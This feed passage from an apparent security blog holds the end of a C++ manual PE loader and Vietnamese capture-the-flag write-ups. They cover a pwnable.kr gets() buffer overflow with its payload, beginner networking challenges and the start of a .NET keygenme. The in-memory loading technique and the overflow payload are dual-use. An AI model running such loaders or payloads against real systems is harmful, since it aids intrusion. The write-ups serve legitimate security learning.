            std::cout &amp;lt;&amp;lt; &quot;[+] Loading DLL: &quot; &amp;lt;&amp;lt; dllName &amp;lt;&amp;lt; &quot;\n&quot;;
            HMODULE dll = LoadLibraryA(dllName);
            if (!dll) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Cannot load &quot; &amp;lt;&amp;lt; dllName &amp;lt;&amp;lt; &quot; (&quot; &amp;lt;&amp;lt; util::getLastErrorString() &amp;lt;&amp;lt; &quot;)\n&quot;;
                return false;
            }

            auto thunkName = reinterpret_cast&amp;lt;PIMAGE_THUNK_DATA&amp;gt;(
                util::rvaToPtr(image_, imp-&amp;gt;OriginalFirstThunk ? imp-&amp;gt;OriginalFirstThunk : imp-&amp;gt;FirstThunk));
            auto thunkIAT = reinterpret_cast&amp;lt;PIMAGE_THUNK_DATA&amp;gt;(util::rvaToPtr(image_, imp-&amp;gt;FirstThunk));

            while (thunkName-&amp;gt;u1.AddressOfData) {
                if (!util::validatePtr(image_, imageSize_, thunkName, sizeof(IMAGE_THUNK_DATA)) ||
                    !util::validatePtr(image_, imageSize_, thunkIAT, sizeof(IMAGE_THUNK_DATA))) {
                    std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid thunk data\n&quot;;
                    return false;
                }

                FARPROC func = nullptr;
                std::string funcName;

                if (IMAGE_SNAP_BY_ORDINAL(thunkName-&amp;gt;u1.Ordinal)) {
                    DWORD ordinal = static_cast&amp;lt;DWORD&amp;gt;(IMAGE_ORDINAL(thunkName-&amp;gt;u1.Ordinal));
                    func = GetProcAddress(dll, MAKEINTRESOURCEA(ordinal));
                    funcName = &quot;Ordinal &quot; + std::to_string(ordinal);
                }
                else {
                    auto ibn = reinterpret_cast&amp;lt;PIMAGE_IMPORT_BY_NAME&amp;gt;(
                        util::rvaToPtr(image_, thunkName-&amp;gt;u1.AddressOfData));

                    if (!util::validatePtr(image_, imageSize_, ibn, sizeof(IMAGE_IMPORT_BY_NAME))) {
                        std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid import by name\n&quot;;
                        return false;
                    }

                    funcName = ibn-&amp;gt;Name;
                    if (std::strcmp(&quot;ExitProcess&quot;, ibn-&amp;gt;Name) == 0) {
                        func = reinterpret_cast&amp;lt;FARPROC&amp;gt;(&amp;amp;ExitProcessHook);
                    }
                    else {
                        func = GetProcAddress(dll, ibn-&amp;gt;Name);
                    }
                }

                if (!func) {
                    std::cerr &amp;lt;&amp;lt; &quot;[!] Failed to resolve function: &quot; &amp;lt;&amp;lt; funcName
                        &amp;lt;&amp;lt; &quot; from &quot; &amp;lt;&amp;lt; dllName &amp;lt;&amp;lt; &quot; (&quot; &amp;lt;&amp;lt; util::getLastErrorString() &amp;lt;&amp;lt; &quot;)\n&quot;;

                    if (skipMissingImports_ ||
                        (std::string(dllName).find(&quot;COMCTL32&quot;) != std::string::npos &amp;amp;&amp;amp;
                            funcName.find(&quot;Ordinal&quot;) != std::string::npos)) {

                        std::cerr &amp;lt;&amp;lt; &quot;[+] Using stub function for missing import: &quot; &amp;lt;&amp;lt; funcName &amp;lt;&amp;lt; &quot;\n&quot;;
                        thunkIAT-&amp;gt;u1.Function = reinterpret_cast&amp;lt;ULONGLONG&amp;gt;(&amp;amp;StubFunction);
                    }
                    else {
                        return false;
                    }
                }
                else {
                    thunkIAT-&amp;gt;u1.Function = reinterpret_cast&amp;lt;ULONGLONG&amp;gt;(func);
                }
                ++thunkName; ++thunkIAT;
            }
            ++imp;
        }

        std::cout &amp;lt;&amp;lt; &quot;[+] Imports resolved successfully\n&quot;;
        return true;
    }

    bool resolveDelayImports() {
        const auto&amp;amp; dir = nt_-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT];
        if (!dir.Size) {
            std::cout &amp;lt;&amp;lt; &quot;[+] No delay imports to resolve\n&quot;;
            return true;
        }

        std::cout &amp;lt;&amp;lt; &quot;[+] Processing delay imports...\n&quot;;

        if (!util::validatePtr(image_, imageSize_,
            util::rvaToPtr(image_, dir.VirtualAddress), dir.Size)) {
            std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid delay import directory\n&quot;;
            return false;
        }

        auto desc = reinterpret_cast&amp;lt;PIMAGE_DELAYLOAD_DESCRIPTOR&amp;gt;(
            util::rvaToPtr(image_, dir.VirtualAddress));

        while (desc-&amp;gt;DllNameRVA) {
            if (!util::validatePtr(image_, imageSize_, desc, sizeof(IMAGE_DELAYLOAD_DESCRIPTOR))) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid delay import descriptor\n&quot;;
                return false;
            }

            // Get DLL name
            ULONGLONG imageBase = nt_-&amp;gt;OptionalHeader.ImageBase;
            DWORD dllNameRva = desc-&amp;gt;DllNameRVA;
            if (dllNameRva &amp;gt; imageBase) {
                dllNameRva = static_cast&amp;lt;DWORD&amp;gt;(dllNameRva - imageBase); // Convert VA to RVA if needed
            }

            const char* dllName = reinterpret_cast&amp;lt;const char*&amp;gt;(util::rvaToPtr(image_, dllNameRva));
            if (!util::validatePtr(image_, imageSize_, const_cast&amp;lt;char*&amp;gt;(dllName), 1)) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid DLL name in delay import\n&quot;;
                return false;
            }

            std::cout &amp;lt;&amp;lt; &quot;[+] Processing delay import DLL: &quot; &amp;lt;&amp;lt; dllName &amp;lt;&amp;lt; &quot;\n&quot;;

            // Process delay import functions
            bool success = false;
#ifdef _WIN64
            success = processDelayImport&amp;lt;ULONGLONG, IMAGE_THUNK_DATA64&amp;gt;(
                desc, dllName, imageBase, IMAGE_ORDINAL_FLAG64);
#else
            success = processDelayImport&amp;lt;DWORD, IMAGE_THUNK_DATA32&amp;gt;(
                desc, dllName, imageBase, IMAGE_ORDINAL_FLAG32);
#endif
            if (!success) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Failed to process delay imports for &quot; &amp;lt;&amp;lt; dllName &amp;lt;&amp;lt; &quot;\n&quot;;
                return false;
            }

            ++desc;
        }

        std::cout &amp;lt;&amp;lt; &quot;[+] Delay imports resolved successfully\n&quot;;
        return true;
    }

    template&amp;lt;typename T_FIELD, typename T_IMAGE_THUNK_DATA&amp;gt;
    bool processDelayImport(PIMAGE_DELAYLOAD_DESCRIPTOR desc, const char* dllName,
        ULONGLONG imageBase, T_FIELD ordinalFlag) {

        // Load the DLL
        HMODULE dll = LoadLibraryA(dllName);
        if (!dll) {
            std::cerr &amp;lt;&amp;lt; &quot;[!] Cannot load delay import DLL: &quot; &amp;lt;&amp;lt; dllName
                &amp;lt;&amp;lt; &quot; (&quot; &amp;lt;&amp;lt; util::getLastErrorString() &amp;lt;&amp;lt; &quot;)\n&quot;;
            return false;
        }

        // Get RVAs
        DWORD iatRva = desc-&amp;gt;ImportAddressTableRVA;
        if (iatRva &amp;gt; imageBase) iatRva = static_cast&amp;lt;DWORD&amp;gt;(iatRva - imageBase);

        DWORD thunkRva = desc-&amp;gt;ImportNameTableRVA;
        if (thunkRva &amp;gt; imageBase) thunkRva = static_cast&amp;lt;DWORD&amp;gt;(thunkRva - imageBase);

        // Get pointers to tables
        auto iatPtr = reinterpret_cast&amp;lt;T_FIELD*&amp;gt;(util::rvaToPtr(image_, iatRva));
        auto thunkPtr = reinterpret_cast&amp;lt;T_IMAGE_THUNK_DATA*&amp;gt;(util::rvaToPtr(image_, thunkRva));

        // Process each function
        while (*iatPtr &amp;amp;&amp;amp; thunkPtr-&amp;gt;u1.AddressOfData) {
            if (!util::validatePtr(image_, imageSize_, iatPtr, sizeof(T_FIELD)) ||
                !util::validatePtr(image_, imageSize_, thunkPtr, sizeof(T_IMAGE_THUNK_DATA))) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid delay import thunk\n&quot;;
                return false;
            }

            FARPROC func = nullptr;

            // Check if import by ordinal
            if (thunkPtr-&amp;gt;u1.Ordinal &amp;amp; ordinalFlag) {
                T_FIELD ordinal = thunkPtr-&amp;gt;u1.Ordinal &amp;amp; (~ordinalFlag);
                func = GetProcAddress(dll, MAKEINTRESOURCEA(static_cast&amp;lt;DWORD&amp;gt;(ordinal)));
            }
            else {
                // Import by name
                DWORD nameRva = static_cast&amp;lt;DWORD&amp;gt;(thunkPtr-&amp;gt;u1.AddressOfData);
                if (nameRva &amp;gt; imageBase) nameRva = static_cast&amp;lt;DWORD&amp;gt;(nameRva - imageBase);

                auto ibn = reinterpret_cast&amp;lt;PIMAGE_IMPORT_BY_NAME&amp;gt;(util::rvaToPtr(image_, nameRva));
                if (!util::validatePtr(image_, imageSize_, ibn, sizeof(IMAGE_IMPORT_BY_NAME))) {
                    std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid import by name structure\n&quot;;
                    return false;
                }

                const char* funcName = reinterpret_cast&amp;lt;const char*&amp;gt;(ibn-&amp;gt;Name);
                if (std::strcmp(&quot;ExitProcess&quot;, funcName) == 0) {
                    func = reinterpret_cast&amp;lt;FARPROC&amp;gt;(&amp;amp;ExitProcessHook);
                }
                else {
                    func = GetProcAddress(dll, funcName);
                }
            }

            if (!func) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Failed to resolve delay import function\n&quot;;
                if (skipMissingImports_) {
                    std::cerr &amp;lt;&amp;lt; &quot;[+] Using stub function for missing delay import\n&quot;;
                    *iatPtr = reinterpret_cast&amp;lt;T_FIELD&amp;gt;(&amp;amp;StubFunction);
                }
                else {
                    return false;
                }
            }
            else {
                // Directly patch the IAT
                *iatPtr = reinterpret_cast&amp;lt;T_FIELD&amp;gt;(func);
            }

            ++iatPtr;
            ++thunkPtr;
        }

        return true;
    }

    bool applyRelocations() {
        ULONGLONG delta = reinterpret_cast&amp;lt;ULONGLONG&amp;gt;(image_) - nt_-&amp;gt;OptionalHeader.ImageBase;
        if (!delta) {
            std::cout &amp;lt;&amp;lt; &quot;[+] No relocations needed (loaded at preferred address)\n&quot;;
            return true;
        }

        const auto&amp;amp; dir = nt_-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
        if (!dir.Size) {
            std::cerr &amp;lt;&amp;lt; &quot;[!] Relocation table missing but required\n&quot;;
            return false;
        }

        if (!util::validatePtr(image_, imageSize_,
            util::rvaToPtr(image_, dir.VirtualAddress), dir.Size)) {
            std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid relocation directory\n&quot;;
            return false;
        }

        auto reloc = reinterpret_cast&amp;lt;PIMAGE_BASE_RELOCATION&amp;gt;(
            util::rvaToPtr(image_, dir.VirtualAddress));

        while (reloc-&amp;gt;SizeOfBlock) {
            if (!util::validatePtr(image_, imageSize_, reloc, sizeof(IMAGE_BASE_RELOCATION))) {
                std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid relocation block\n&quot;;
                return false;
            }

            auto count = (reloc-&amp;gt;SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            auto entry = reinterpret_cast&amp;lt;PWORD&amp;gt;(reloc + 1);

            for (DWORD i = 0; i &amp;lt; count; ++i, ++entry) {
                WORD type = *entry &amp;gt;&amp;gt; 12;
                WORD off = *entry &amp;amp; 0xFFF;

                if (type == IMAGE_REL_BASED_HIGHLOW || type == IMAGE_REL_BASED_DIR64) {
                    auto patch = reinterpret_cast&amp;lt;PULONGLONG&amp;gt;(
                        util::rvaToPtr(image_, reloc-&amp;gt;VirtualAddress + off));

                    if (!util::validatePtr(image_, imageSize_, patch, sizeof(ULONGLONG))) {
                        std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid relocation target\n&quot;;
                        return false;
                    }

                    *patch += delta;
                }
            }
            reloc = reinterpret_cast&amp;lt;PIMAGE_BASE_RELOCATION&amp;gt;(
                reinterpret_cast&amp;lt;BYTE*&amp;gt;(reloc) + reloc-&amp;gt;SizeOfBlock);
        }

        std::cout &amp;lt;&amp;lt; &quot;[+] Relocations applied (delta: &quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; delta &amp;lt;&amp;lt; std::dec &amp;lt;&amp;lt; &quot;)\n&quot;;
        return true;
    }

    void loadMUIResources(const std::string&amp;amp; path) {
        // Extract filename without extension for MUI loading
        size_t lastSlash = path.find_last_of(&quot;\\/&quot;);
        size_t lastDot = path.find_last_of(&apos;.&apos;);

        if (lastSlash != std::string::npos &amp;amp;&amp;amp; lastDot != std::string::npos &amp;amp;&amp;amp; lastDot &amp;gt; lastSlash) {
            std::string baseName = path.substr(lastSlash + 1, lastDot - lastSlash - 1);

            // Convert to wide string for MUI operations
            std::wstring wBaseName(baseName.begin(), baseName.end());

            std::wcout &amp;lt;&amp;lt; L&quot;[MUI] Attempting to load resources for: &quot; &amp;lt;&amp;lt; wBaseName &amp;lt;&amp;lt; L&quot;\n&quot;;

            // Try current system language first
            wchar_t langBuffer[LOCALE_NAME_MAX_LENGTH];
            if (GetUserDefaultLocaleName(langBuffer, LOCALE_NAME_MAX_LENGTH)) {
                if (muiManager_-&amp;gt;isLanguageAvailable(langBuffer)) {
                    muiManager_-&amp;gt;loadLanguage(langBuffer);
                }
            }
        }
    }

    int callEntry() {
        if (!nt_ || !image_) return -1;

        auto entry = util::rvaToPtr(image_, nt_-&amp;gt;OptionalHeader.AddressOfEntryPoint);
        if (!entry) {
            std::cerr &amp;lt;&amp;lt; &quot;[!] Invalid entry point\n&quot;;
            return -1;
        }

        std::cout &amp;lt;&amp;lt; &quot;[+] Calling entry point at: &quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; entry &amp;lt;&amp;lt; std::dec &amp;lt;&amp;lt; &quot;\n&quot;;

        if (nt_-&amp;gt;FileHeader.Characteristics &amp;amp; IMAGE_FILE_DLL) {
            auto dllMain = reinterpret_cast&amp;lt;BOOL(WINAPI*)(HINSTANCE, DWORD, LPVOID)&amp;gt;(entry);
            BOOL result = dllMain(reinterpret_cast&amp;lt;HINSTANCE&amp;gt;(image_), DLL_PROCESS_ATTACH, nullptr);
            return result ? 0 : -1;
        }

        if (nt_-&amp;gt;OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_WINDOWS_GUI) {
            auto winMain = reinterpret_cast&amp;lt;int (WINAPI*)(HINSTANCE, HINSTANCE, LPSTR, int)&amp;gt;(entry);
            return winMain(reinterpret_cast&amp;lt;HINSTANCE&amp;gt;(image_), nullptr,
                const_cast&amp;lt;char*&amp;gt;(cmd_.raw()), SW_SHOWDEFAULT);
        }

        auto mainFn = reinterpret_cast&amp;lt;int (*)(int, char**)&amp;gt;(entry);
        return mainFn(cmd_.argc(), cmd_.argv());
    }

    void cleanup() {
        if (image_) {
            VirtualFree(image_, 0, MEM_RELEASE);
            image_ = nullptr;
        }
    }

    // ---------- members ----------
    CommandLine&amp;amp; cmd_;
    std::unique_ptr&amp;lt;FileMap&amp;gt;     map_;
    std::unique_ptr&amp;lt;MUIManager&amp;gt;  muiManager_;
    PIMAGE_NT_HEADERS            nt_{ nullptr };
    LPVOID                       image_{ nullptr };
    SIZE_T                       imageSize_{ 0 };
    bool                         exitCalled_{ false };
    DWORD                        exitCode_{ 0 };
};

// --------------------------------------------------
// Entry point
// --------------------------------------------------
int main(int argc, char* argv[]) {
    if (argc &amp;lt; 2) {
        std::cout &amp;lt;&amp;lt; &quot;Usage: &quot; &amp;lt;&amp;lt; argv[0] &amp;lt;&amp;lt; &quot; &amp;lt;pe_file&amp;gt; [arguments...]\n&quot;;
        std::cout &amp;lt;&amp;lt; &quot;Options:\n&quot;;
        std::cout &amp;lt;&amp;lt; &quot;  --lang &amp;lt;code&amp;gt;     Set language (e.g., en-US, vi-VN)\n&quot;;
        return 1;
    }

    // Parse command line arguments
    std::string targetFile = argv[1];
    std::wstring language;

    // Check for language option
    for (int i = 2; i &amp;lt; argc; ++i) {
        if (std::string(argv[i]) == &quot;--lang&quot; &amp;amp;&amp;amp; i + 1 &amp;lt; argc) {
            std::string langStr = argv[i + 1];
            language = std::wstring(langStr.begin(), langStr.end());
            // Remove language arguments from command line
            for (int j = i; j &amp;lt; argc - 2; ++j) {
                argv[j] = argv[j + 2];
            }
            argc -= 2;
            break;
        }
    }

    CommandLine cmd(argc, argv, 2); // skip exe + target path
    PELoader loader(cmd);

    // Set language if specified
    if (!language.empty()) {
        if (loader.setLanguage(language)) {
            std::wcout &amp;lt;&amp;lt; L&quot;[+] Language set to: &quot; &amp;lt;&amp;lt; language &amp;lt;&amp;lt; L&quot;\n&quot;;
        }
        // Continue execution even if MUI loading fails
    }

    if (!loader.load(targetFile)) {
        std::cerr &amp;lt;&amp;lt; &quot;[!] Failed to load PE file: &quot; &amp;lt;&amp;lt; targetFile &amp;lt;&amp;lt; &quot;\n&quot;;
        return 1;
    }

    std::cout &amp;lt;&amp;lt; &quot;[+] Starting execution...\n&quot;;
    return loader.run();
}

&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Pwnable.kr Writeup</title><link>https://wanderlens.vercel.app/posts/pwnablekr_writeup/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/pwnablekr_writeup/</guid><pubDate>Fri, 12 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;BOF&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;
Bài này cho ta cả source code C khá là tiện khỏi tốn công RE. Bây giờ ta bắt tay vào phân tích code thôi nào.&lt;/p&gt;
&lt;h2&gt;Code analyst&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;
Ta thấy chương trình này chỉ cho ta nhập vào biến overflowme bằng hàm gets. Mà hàm này có đặc điểm là không giới hạn số kí tự nhập vào cho nên mình có thể tận dụng để khai thác lỗi buffer overflow. Tiếp theo mình thấy chương trình sẽ so sánh key (0xdeadbeef) được truyền vào hàm func với 0xcafebabe nếu đúng thì ta lấy được shell.&lt;/p&gt;
&lt;h2&gt;Examining the Binary, Exploitation&lt;/h2&gt;
&lt;p&gt;Giờ ta chạy chương trình thử.
&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;
Alright! Mọi thứ diễn ra đúng như ta phân tích code. Giờ bỏ vào gdb debug thôi 😄
&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;
Ta disassemble xem hàm func  thử.
&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ta cần đặt 2 breakpoint: 1 tại hàm gets để lấy địa chỉ của vùng nhớ lưu giá trị ta nhập vào, 1 tại hàm cmp để xem cấu trúc so sánh của chương trình. Chạy chương trình lên nào.
&lt;img src=&quot;image-5.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;img src=&quot;image-6.png&quot; alt=&quot;alt text&quot; /&gt;
Ta thấy 0x7ffffffee2a0 chính là địa chỉ vùng nhớ lưu giá trị ta nhập vào.
&lt;img src=&quot;image-7.png&quot; alt=&quot;alt text&quot; /&gt;
Tiếp đến xem thử hàm cmp. Ở đây ta thấy chương trình sẽ so sánh rbp-0x34 với 0xcafebabe
&lt;img src=&quot;image-8.png&quot; alt=&quot;alt text&quot; /&gt;
Ta lấy địa chỉ vùng nhớ so sánh:
&lt;img src=&quot;image-9.png&quot; alt=&quot;alt text&quot; /&gt;
Ta xem giá trị ở vùng nhớ này bằng lệnh x/x 0x7ffffffee29c
&lt;img src=&quot;image-10.png&quot; alt=&quot;alt text&quot; /&gt;
Ta thấy tại đây chính là giá trị mà chương trình đã truyền vào hàm func() -&amp;gt; Chương trình này so sánh chuỗi truyền vào hàm func() với 0xcafebabe.&lt;/p&gt;
&lt;p&gt;=&amp;gt; Vậy nhiệm vụ của mình bây giờ chính là làm sao thay đổi giá trị tại địa chỉ này ( 0x7ffffffee29c) từ 0xdeadbeef thành 0xcafebabe là ta win.&lt;/p&gt;
&lt;p&gt;Ta có thể tính được khoảng cách từ địa chỉ vùng nhớ so sánh(0xdeadbeef) tới địa chỉ thanh ghi rbp là 0x34 (do cmp = $rbp-0x34).
&lt;img src=&quot;image-11.png&quot; alt=&quot;alt text&quot; /&gt;
Mà địa chỉ thanh ghi rbp cũng chính là địa chỉ vùng nhớ lưu giá trị ta nhập vào. Vậy giờ ta chỉ việc ghi đè 0xcafebabe lên vùng nhớ này.&lt;/p&gt;
&lt;p&gt;Ta sẽ có payload như sau: &lt;code&gt;&quot;v&quot;*52+0xcafebabe&lt;/code&gt;.
Giờ đi viết code exploit thôi nào.&lt;/p&gt;
&lt;h2&gt;Writing an Exploit with pwntools&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;image-12.png&quot; alt=&quot;alt text&quot; /&gt;
Và đây chính là thành quả:
&lt;img src=&quot;image-13.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Kết luận:&lt;/h2&gt;
&lt;p&gt;Ở bài này ta t Ta chỉ cần tìm ra được địa chỉ của vùng nhớ lưu giá trị nhập vào và địa chỉ của vùng nhớ so sánh với chuỗi cho trước. Rồi tận dụng lỗi buffer overflow của hàm gets() để ghi đè chuỗi cho trước vào =&amp;gt; bypass điều kiện -&amp;gt; win 👏&lt;/p&gt;
</content:encoded></item><item><title>Junior Hacking Talents CTF Writeup</title><link>https://wanderlens.vercel.app/posts/juniorhackingtalentsctf_writeup/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/juniorhackingtalentsctf_writeup/</guid><pubDate>Wed, 13 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Networking:&lt;/h1&gt;
&lt;h2&gt;HTTP 101:&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;
Với bài này ta chỉ cần truy cập tên miền của đề bài cho ” http://http.kid.cyberjutsu-lab.tech/ ” bằng cổng 5555 là ra flag.
Link truy cập sẽ có dạng như sau: http://http.kid.cyberjutsu-lab.tech:5555/
Và đây là kết quả :
&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;strong&gt;Flag&lt;/strong&gt;: &lt;em&gt;CTF{Hypertext_Transfer_Protocol}&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Domain Name System 101:&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;
Ta có thể thấy bài này yêu cầu ta tìm IP của tên miền đã cho. Để giải bài này có nhiều cách  nhưng theo mình có hai hướng đơn giản như sau 1 là dùng extension trên chrome để tìm( mình thường xài “ip whois &amp;amp; flags”) và cách thứ 2 là dùng cmd để ping tới tên miền web. Bây giờ ta lần lượt thử từng cách nào.&lt;/p&gt;
&lt;p&gt;Cách 1:
Truy cập vào tên miền dã cho thử, nhưng ở đây ta thấy server web không phản hồi lại. Xem ra cách này không được rồi. Next tới cách 2 nha..
Cách  2:
Ta mở cmd lên nhập lệnh sau vào: &lt;code&gt;ping onepiece.kid.cyberjutsu-lab.tech&lt;/code&gt;. Và đây là thành quả:
&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;
Dãy số tô màu vàng chính là địa chỉ ip ta cần tìm. Giờ thì đem đi submit thôi nào ^^.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;em&gt;CTF{93.13.33.22}&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Socket 101:&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;
Theo như đề bài ta thấy yêu cầu ta kết nối tới  server bằng giao thức TCP vì vậy để làm được bài này chúng ta cần phải có kiến thức về TCP/IP( Mình sẽ đính kèm link tài liệu tham khảo bên  dưới).
Link tham khảo TCP/IP: https://vi.wikipedia.org/wiki/TCP/IP
https://www.cloudflare.com/learning/ddos/glossary/tcp-ip/
Ở đây mình sử dụng netcat để mở một  cổng kết nối TCP tới cổng với IP đã cho. Lệnh có dạng như sau: &lt;code&gt;nc &amp;lt;ip&amp;gt; &amp;lt;port&amp;gt;&lt;/code&gt;. Và đây là thành quả:
&lt;img src=&quot;image-5.png&quot; alt=&quot;alt text&quot; /&gt;
Giờ thì đi submit flag thôi nè :&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;em&gt;CTF{connect_to_somewhere}&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;File Sharing 101:&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;image-6.png&quot; alt=&quot;alt text&quot; /&gt;
Ở bài này ta thấy đề yêu cầu ta kết nối tới  server bằng giao thức FTP vì vậy để làm được bài này chúng ta cần phải có kiến thức về FTP( Tương tự bài trước thì bài này mình cũng mình sẽ đính kèm link vài nguồn tham khảo bên  dưới).&lt;/p&gt;
&lt;p&gt;Link tham khảo: https://vi.wikipedia.org/wiki/FTP
https://quantrimang.com/ftp-la-gi-168304&lt;/p&gt;
&lt;p&gt;Để thực hiện việc kết nối FTP  thuận tiện hơn thì mình sử dụng tool Winscp trên Windows(mình sẽ để link tải và hướng dẫn sử dụng Winscp phía dưới)
Link tải Winscp: https://winscp.net/download/WinSCP-5.19.2-Setup.exe
Link hướng dẫn sử dụng;  https://winscp.net/eng/docs/start
&lt;img src=&quot;image-7.png&quot; alt=&quot;alt text&quot; /&gt;
Giờ ta chọn phương thức kết nối FTP rồi lần lượt điền IP , user,pass đề cho vào thôi(Port để mặc định 22 nha).
&lt;img src=&quot;image-8.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;img src=&quot;image-9.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Khi kết nối thành công ta thấy trên server có file flag.txt. Mở lên thử xem nào!
Ta đa! Flag đây rồi giờ đi submit thôi nào ^^
&lt;strong&gt;Flag&lt;/strong&gt;: &lt;em&gt;CTF{File_Transfer_Protocol}&lt;/em&gt;
&lt;img src=&quot;image-10.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Packet capture 101:&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;image-11.png&quot; alt=&quot;alt text&quot; /&gt;
Nhiệm vụ của ta là tìm ra địa chỉ trang web mà nạn nhân đã truy cập trong khoảng  thời gian bị lừa đảo. Bài này cung cấp cho ta 1 file .pcapng. Ta dùng wireshark để phân tích file này.
&lt;img src=&quot;image-12.png&quot; alt=&quot;alt text&quot; /&gt;
Ta thấy khá nhiều gói  tin. Bây giờ check thử từng gói  xem sao.
&lt;img src=&quot;image-13.png&quot; alt=&quot;alt text&quot; /&gt;
Đây ta đã tìm  ra được link trang web lừa dảo https://xacminhgarenavn.xyz/ .&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;em&gt;CTF{https://xacminhgarenavn.xyz/}&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Giờ đi submit thôi nào :&amp;gt;&lt;/p&gt;
&lt;h2&gt;Bài tập quá hạn:&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;image-14.png&quot; alt=&quot;alt text&quot; /&gt;
Theo ta thấy bài này yêu cầu tải lại file bài tập trên 1 trang web về mà đã hết hạn tải. Người ta cung cấp cho mình 1 file gì đó, tải về giải nén ra thử ta thấy 1 file Accesss log và 1 file .pcapng
&lt;img src=&quot;image-15.png&quot; alt=&quot;alt text&quot; /&gt;
Trước hết ta phân tích file log-chat.pcapng bằng wireshark. Kiểm tra từng gói tin thử ta thấy đây ghi lại  đoạn chat giữa Minh và người bạn đây ta tìm thấy được password gì đó.
Tạm lưu lại password &lt;code&gt;emyeukhoahoc***2003&lt;/code&gt;
&lt;img src=&quot;image-16.png&quot; alt=&quot;alt text&quot; /&gt;
Tiếp theo phân tích file  access.log . Ta tìm lịch sử truy cập tới trang web tải bài tập.
&lt;img src=&quot;image-17.png&quot; alt=&quot;alt text&quot; /&gt;
Ở đây mình sử dụng Regex để lọc ra đường dẫn các file mà Minh đã tải về trên trang web bài tập.
&lt;img src=&quot;image-18.png&quot; alt=&quot;alt text&quot; /&gt;
Ở đây mình sẽ kiểm tra xem file các file Minh tải về (tải file bằng cách sử dụng đường dẫn đã lọc  được ). Giờ mình kiểm tra từ file có dung lượng lớn nhất nha :&amp;gt;
&lt;img src=&quot;image-19.png&quot; alt=&quot;alt text&quot; /&gt;
Ta thấy bắt điền password dể giải nén.
&lt;img src=&quot;image-20.png&quot; alt=&quot;alt text&quot; /&gt;
Ta điền thử password ta tìm được ở trên . Giải nén thành công ta  thấy có file “ bai-tap-hinh-hoc-lop-8.docx” mở lên thử  và flag đây rồi  ^^
&lt;img src=&quot;image-21.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;strong&gt;Flag&lt;/strong&gt;: &lt;em&gt;CTF{1-l0ve-m4th-b9247d7608a7e63ae119982ff59db431}&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Writeup PE .Net Keygenme</title><link>https://wanderlens.vercel.app/posts/rootme_writeup/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/rootme_writeup/</guid><pubDate>Mon, 11 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bài này đề yêu cầu ta tìm key đúng với username &quot;Root-Me&quot;.
Đầu tiên check thử thì đây là file code bằng .Net và 32 bit.
&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;
Bỏ vào dnspy coi code thử thôi nào ^^:
&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;
Ta có thể dễ dàng nhận ra file này đã bị obfuscated.
